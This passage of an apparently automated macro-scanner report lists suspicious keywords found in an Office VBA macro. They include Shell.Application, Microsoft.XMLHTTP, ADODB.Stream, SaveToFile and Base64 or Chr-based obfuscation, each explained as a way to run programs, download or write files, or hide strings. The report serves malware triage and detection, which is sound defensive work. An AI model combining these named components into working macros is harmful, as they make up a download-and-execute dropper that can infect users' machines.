|            |                      | command                                 |
| Suspicious | MkDir                | May create a directory                  |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | Binary               | May read or write a binary file (if     |
|            |                      | combined with Open)                     |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Put                  | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Output               | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| VBA string |                      | Chr$(10) & Chr$(13) & " "               |
|            |
                    |                                         |
+------------+----------------------+-----------------------------------------+